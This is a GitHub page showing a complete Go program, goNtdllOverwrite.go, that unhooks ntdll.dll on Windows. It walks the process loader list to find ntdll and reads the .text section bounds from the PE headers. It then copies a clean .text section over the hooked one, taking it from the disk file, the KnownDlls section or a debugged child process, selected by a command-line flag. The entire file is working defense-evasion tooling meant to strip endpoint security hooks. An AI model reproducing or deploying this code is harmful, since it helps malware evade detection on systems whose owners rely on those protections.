-
-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathgoNtdllOverwrite.go
402 lines (352 loc) · 15.2 KB
/
goNtdllOverwrite.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
package main
import (
"os"
"fmt"
"flag"
"unsafe"
"syscall"
"unicode/utf16"
"golang.org/x/sys/windows"
)
const (
ProcessBasicInformation uintptr = 0x00
ldr_offset uintptr = 0x18
inInitializationOrderModuleList_offset uintptr = 0x30
flink_dllbase_offset uintptr = 0x20
flink_buffer_offset uintptr = 0x50
PAGE_EXECUTE_WRITECOPY uintptr = 0x80
SEC_IMAGE_NO_EXECUTE uintptr = 0x11000000
offset_mappeddll uintptr = 0x1000
SECTION_MAP_READ uintptr = 0x04
DEBUG_PROCESS uint32 = 0x01
)
var (
VirtualProtect *windows.LazyProc
createFile *windows.LazyProc
createFileMapping *windows.LazyProc
mapViewOfFile *windows.LazyProc
DebugActiveProcessStop *windows.LazyProc
TerminateProcess *windows.LazyProc
CreateProcess *windows.LazyProc
ntReadVirtualMemory *windows.LazyProc
ntQueryInformationProcess *windows.LazyProc
ntOpenSection *windows.LazyProc
)
// Structures
type PROCESS_BASIC_INFORMATION struct {
ExitStatus uint32
PebBaseAddress uintptr
AffinityMask uintptr
BasePriority int32
UniqueProcessID uintptr
InheritedFromUniqueProcessID uintptr
}
type UNICODE_STRING struct {
Length uint16
MaximumLength uint16
Buffer *uint16
}
type OBJECT_ATTRIBUTES struct {
Length uint32
RootDirectory windows.Handle
ObjectName *UNICODE_STRING
Attributes uint32
SecurityDescriptor uintptr
SecurityQualityOfService uintptr
}
type STARTUPINFO struct {
cb uint32
lpReserved *uint16
lpDesktop *uint16
lpTitle *uint16
dwX uint32
dwY uint32
dwXSize uint32
dwYSize uint32
dwXCountChars uint32
dwYCountChars uint32
dwFillAttribute uint32
dwFlags uint32
wShowWindow uint16
cbReserved2 uint16
lpReserved2 *byte
hStdInput windows.Handle
hStdOutput windows.Handle
hStdError windows.Handle
}
type PROCESS_INFORMATION struct {
hProcess windows.Handle
hThread windows.Handle
dwProcessId uint32
dwThreadId uint32
}
func init() {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualProtect = kernel32.NewProc("VirtualProtect")
createFile = kernel32.NewProc("CreateFileA")
createFileMapping = kernel32.NewProc("CreateFileMappingA")
mapViewOfFile = kernel32.NewProc("MapViewOfFile")
DebugActiveProcessStop = kernel32.NewProc("DebugActiveProcessStop")
TerminateProcess = kernel32.NewProc("TerminateProcess")
CreateProcess = kernel32.NewProc("CreateProcessW")
ntReadVirtualMemory = ntdll.NewProc("NtReadVirtualMemory")
ntQueryInformationProcess = ntdll.NewProc("NtQueryInformationProcess")
ntOpenSection = ntdll.NewProc("NtOpenSection")
}
func read_remoteintptr(process_handle windows.Handle, base_address uintptr, size uintptr) uintptr {
buffer := make([]byte, size)
var bytesRead uintptr
status, _, _ := ntReadVirtualMemory.Call(uintptr(process_handle), base_address, uintptr(unsafe.Pointer(&buffer[0])), size, uintptr(unsafe.Pointer(&bytesRead)))
if status != 0 {
fmt.Printf("NtReadVirtualMemory failed with status: 0x%x\n", status)
return 0
}
read_value := *(*uintptr)(unsafe.Pointer(&buffer[0]))
return read_value
}
func utf16BytesToUTF8(utf16Bytes []byte) []byte {
u16s := make([]uint16, len(utf16Bytes)/2)
for i := range u16s {
u16s[i] = uint16(utf16Bytes[i*2]) | uint16(utf16Bytes[i*2+1])<<8
}
return []byte(string(utf16.Decode(u16s)))
}
func read_remoteWStr(process_handle windows.Handle, base_address uintptr, size uintptr) string {
buffer := make([]byte, size)
var bytesRead uintptr
status, _, _ := ntReadVirtualMemory.Call(uintptr(process_handle), base_address, uintptr(unsafe.Pointer(&buffer[0])), size, uintptr(unsafe.Pointer(&bytesRead)))
if status != 0 {
fmt.Printf("NtReadVirtualMemory failed with status: 0x%x\n", status)
return ""
}
for i := 0; i < int(bytesRead)-1; i += 1 {
if buffer[i] == 0x00 && buffer[i+1] == 0x00 {
return string(utf16BytesToUTF8(buffer[:i+2]))
}
}
return ""
}
func get_local_lib_address(dll_name string) uintptr {
// GetCurrentProcess
process_handle, _ := windows.GetCurrentProcess()
fmt.Printf("[+] Process Handle: \t%d\n", process_handle)
var pbi PROCESS_BASIC_INFORMATION
var returnLength uint32
// NtQueryInformationProcess
status, _, _ := ntQueryInformationProcess.Call(uintptr(process_handle), ProcessBasicInformation, uintptr(unsafe.Pointer(&pbi)), uintptr(uint32(unsafe.Sizeof(pbi))), uintptr(unsafe.Pointer(&returnLength)),)
if status != 0 {
fmt.Printf("NtQueryInformationProcess failed with status: 0x%x\n", status)
return 0
}
fmt.Printf("[+] Process ID: \t%d\n", pbi.UniqueProcessID)
fmt.Printf("[+] PEB Base Address: \t0x%x\n", pbi.PebBaseAddress)
// Ldr Address
peb_baseaddress := pbi.PebBaseAddress
ldr_pointer := peb_baseaddress + ldr_offset
ldr_address := read_remoteintptr(process_handle, ldr_pointer, 8)
fmt.Printf("[+] ldr_pointer: \t0x%x\n", ldr_pointer)
fmt.Printf("[+] Ldr Address: \t0x%x\n", ldr_address)
// next_flink
InInitializationOrderModuleList:= ldr_address + inInitializationOrderModuleList_offset
next_flink := read_remoteintptr(process_handle, InInitializationOrderModuleList, 8)
fmt.Printf("[+] next_flink: \t0x%x\n", next_flink)
// Loop modules
var dll_base uintptr = 1337
for dll_base != 0 {
next_flink = next_flink - 0x10
dll_base = read_remoteintptr(process_handle, (next_flink + flink_dllbase_offset), 8)
if (dll_base == 0){
break
}
buffer := read_remoteintptr(process_handle, (next_flink + flink_buffer_offset), 8)
base_dll_name := read_remoteWStr(process_handle, buffer, 256)
if (base_dll_name == dll_name){
return dll_base
}
next_flink = read_remoteintptr(process_handle, (next_flink + 0x10), 8)
}
return 0
}
func get_section_info(base_address uintptr) (uintptr,uintptr) {
process_handle, _ := windows.GetCurrentProcess()
fmt.Printf("[+] Process Handle: \t%d\n", process_handle)
var e_lfanew_addr uintptr = base_address + 0x3C
var e_lfanew uintptr = read_remoteintptr(process_handle, e_lfanew_addr, 4)
var sizeofcode_addr uintptr = base_address + e_lfanew + 24 + 4
var sizeofcode uintptr = read_remoteintptr(process_handle, sizeofcode_addr, 4)
var baseofcode_addr uintptr = base_address + e_lfanew + 24 + 20
var baseofcode uintptr = read_remoteintptr(process_handle, baseofcode_addr, 4)
return baseofcode, sizeofcode
}
func replace_ntdll_section(unhooked_ntdll_text uintptr, local_ntdll_txt uintptr, local_ntdll_txt_size uintptr){
var oldProtect uintptr
res, _, _ := VirtualProtect.Call(local_ntdll_txt, local_ntdll_txt_size, PAGE_EXECUTE_WRITECOPY, uintptr(unsafe.Pointer(&oldProtect)))
if res != 1 {
fmt.Println("Failed to change memory protection to PAGE_EXECUTE_WRITECOPY")
return
}
/// fmt.Scanln()
// Copy bytes to the address
for i := uintptr(0); i < local_ntdll_txt_size; i++ {
*(*byte)(unsafe.Pointer(local_ntdll_txt + i)) = *(*byte)(unsafe.Pointer(unhooked_ntdll_text + i))
}
/// fmt.Scanln()
// Restore the original protection
res, _, _ = VirtualProtect.Call(local_ntdll_txt, local_ntdll_txt_size, oldProtect, uintptr(unsafe.Pointer(&oldProtect)))
if res != 1 {
fmt.Println("Failed to restore the original memory protection")
return
}
}
func overwrite_disk(file_name string) uintptr {
// CreateFileA
fileNamePtr, _ := syscall.BytePtrFromString(file_name)
file_handle, _, err := createFile.Call(uintptr(unsafe.Pointer(fileNamePtr)), windows.GENERIC_READ, windows.FILE_SHARE_READ, 0, windows.OPEN_EXISTING, windows.FILE_ATTRIBUTE_NORMAL, 0)
if windows.Handle(file_handle) == windows.InvalidHandle {
fmt.Printf("Error creating file: %v\n", err)
return 0
}
fmt.Printf("[+] File handle: \t%d\n", file_handle)
defer windows.CloseHandle(windows.Handle(file_handle))
// CreateFileMappingA
mapping_handle, _, err := createFileMapping.Call(file_handle, 0, (windows.PAGE_READONLY | SEC_IMAGE_NO_EXECUTE), 0, 0, 0)
if mapping_handle == 0 {
fmt.Printf("Error creating file mapping: %v\n", err)
return 0
}
defer windows.CloseHandle(windows.Handle(mapping_handle))
fmt.Printf("[+] Mapping handle: \t%d\n", mapping_handle)
// MapViewOfFile
unhooked_ntdll, _, err := mapViewOfFile.Call(mapping_handle, windows.FILE_MAP_READ, 0, 0, 0)
if unhooked_ntdll == 0 {
fmt.Printf("Error mapping view of file: %v\n", err)
return 0
}
fmt.Printf("[+] Mapped Ntdll:\t0x%s\n", fmt.Sprintf("%x", unhooked_ntdll))
// CloseHandle
windows.CloseHandle(windows.Handle(file_handle))
windows.CloseHandle(windows.Handle(mapping_handle))
// Add Offset
var unhooked_ntdll_text uintptr = unhooked_ntdll + offset_mappeddll
return unhooked_ntdll_text
}
func overwrite_knowndlls() uintptr {
// NtOpenSection
var s string = "\\KnownDlls\\ntdll.dll"
us := UNICODE_STRING{}
us.Length = uint16(len(s) * 2)
us.MaximumLength = us.Length + 2
us.Buffer = windows.StringToUTF16Ptr(s)
oa := OBJECT_ATTRIBUTES{
Length: uint32(unsafe.Sizeof(OBJECT_ATTRIBUTES{})),
RootDirectory: 0,
ObjectName: &us,
Attributes: 0,
}
var section_handle windows.Handle
status, _, _ := ntOpenSection.Call(uintptr(unsafe.Pointer(§ion_handle)), SECTION_MAP_READ, uintptr(unsafe.Pointer(&oa)))
if status != 0 {
fmt.Printf("[-] NtOpenSection failed\n")
os.Exit(0)
return 0
}
fmt.Printf("[+] Section handle: \t0x%x\n", section_handle)
// MapViewOfFile
unhooked_ntdll, _, err := mapViewOfFile.Call(uintptr(section_handle), uintptr(SECTION_MAP_READ), 0, 0, 0)
if unhooked_ntdll == 0 {
fmt.Printf("[-] Error mapping view of file: %v\n", err)
os.Exit(0)
return 0
}
// CloseHandle
windows.CloseHandle(windows.Handle(section_handle))
// Add offset
var unhooked_ntdll_text uintptr = unhooked_ntdll + offset_mappeddll
return unhooked_ntdll_text
}
func overwrite_debugproc(file_path string, local_ntdll_txt uintptr, local_ntdll_txt_size uintptr) uintptr {
// CreateProcess
var si STARTUPINFO
var pi PROCESS_INFORMATION
si.cb = uint32(unsafe.Sizeof(si))
applicationName := windows.StringToUTF16Ptr(file_path)
success, _, err := CreateProcess.Call(uintptr(unsafe.Pointer(applicationName)), 0, 0, 0, 0, uintptr(DEBUG_PROCESS), 0, 0, uintptr(unsafe.Pointer(&si)), uintptr(unsafe.Pointer(&pi)))
if (success != 1) {
fmt.Printf("CreateProcess failed: %v\n", err)
os.Exit(0)
}
// NtReadVirtualMemory: debugged_process ntdll_handle = local ntdll_handle --> debugged_process .text section ntdll_handle = local .text section ntdll_handle
buffer := make([]byte, local_ntdll_txt_size)
var bytesRead uintptr
status, _, _ := ntReadVirtualMemory.Call(uintptr(pi.hProcess), local_ntdll_txt, uintptr(unsafe.Pointer(&buffer[0])), local_ntdll_txt_size, uintptr(unsafe.Pointer(&bytesRead)))
if status != 0 {
fmt.Printf("NtReadVirtualMemory failed with status: 0x%x\n", status)
os.Exit(0)
}
// TerminateProcess + DebugActiveProcessStop
tp_bool, _, _ := TerminateProcess.Call(uintptr(pi.hProcess), 0)
daps_bool, _, _ := DebugActiveProcessStop.Call(uintptr(pi.dwProcessId))
if (tp_bool != 1){
fmt.Printf("[-] TerminateProcess failed")
os.Exit(0)
}
if (daps_bool != 1){
fmt.Printf("[-] DebugActiveProcessStop failed")
os.Exit(0)
}
return uintptr(unsafe.Pointer(&buffer[0]))
}
func main() {
optionFlag := flag.String("o", "default", "Option for library overwrite: \"disk\", \"knowndlls\" or \"debugproc\"")
pathFlag := flag.String("p", "default", "Path to ntdll file in disk (for \"disk\" option) or program to open in debug mode (\"debugproc\" option)")
flag.Parse()
var local_ntdll uintptr = get_local_lib_address("ntdll.dll")
fmt.Printf("[+] Local Ntdll:\t0x%s\n", fmt.Sprintf("%x", local_ntdll))
local_ntdll_txt_addr, local_ntdll_txt_size := get_section_info(local_ntdll)
fmt.Printf("[+] Local Ntdll Size:\t0x%s\n", fmt.Sprintf("%x", local_ntdll_txt_size))
fmt.Printf("[+] Local Ntdll Addr:\t0x%s\n", fmt.Sprintf("%x", local_ntdll_txt_addr))
var local_ntdll_txt uintptr = local_ntdll + local_ntdll_txt_addr
fmt.Printf("[+] Local Ntdll Text:\t0x%s\n", fmt.Sprintf("%x", local_ntdll_txt))
var unhooked_ntdll_text uintptr = 0
if *optionFlag == "disk" {
file_name := "C:\\Windows\\System32\\ntdll.dll"
if *pathFlag != "default" {
file_name = *pathFlag
}
fmt.Printf("[+] Option \"disk\" - Getting clean version from file in disk %s\n", file_name)
unhooked_ntdll_text = overwrite_disk(file_name)
if (unhooked_ntdll_text != 0){
fmt.Printf("[+] Mapped Ntdll .Text:\t0x%s\n", fmt.Sprintf("%x", unhooked_ntdll_text))
} else {
fmt.Printf("[-] Error getting the .text section address")
os.Exit(0)
}
} else if *optionFlag == "knowndlls" {
fmt.Println("[+] Option \"knowndlls\" - Getting clean version from KnownDlls folder")
unhooked_ntdll_text = overwrite_knowndlls()
if (unhooked_ntdll_text != 0){
fmt.Printf("[+] Mapped Ntdll .Text:\t0x%s\n", fmt.Sprintf("%x", unhooked_ntdll_text))
} else {
fmt.Printf("[-] Error getting the .text section address")
os.Exit(0)
}
} else if *optionFlag == "debugproc" {
program_path := "c:\\Windows\\System32\\notepad.exe"
if *pathFlag != "default" {
program_path = *pathFlag
}
fmt.Printf("[+] Option \"debugproc\" - Getting clean version from debugged process %s\n", program_path)
unhooked_ntdll_text = overwrite_debugproc(program_path, local_ntdll_txt, local_ntdll_txt_size)
if (unhooked_ntdll_text != 0){
fmt.Printf("[+] Mapped Ntdll .Text:\t0x%s\n", fmt.Sprintf("%x", unhooked_ntdll_text))
} else {
fmt.Printf("[-] Error getting the .text section address")
os.Exit(0)
}
} else {
fmt.Println("[-] Parameter -o (Library overwrite option) is mandatory. Possible values: \"disk\", \"knowndlls\" or \"debugproc\" ")
os.Exit(0)
}
replace_ntdll_section(unhooked_ntdll_text, local_ntdll_txt, local_ntdll_txt_size)
}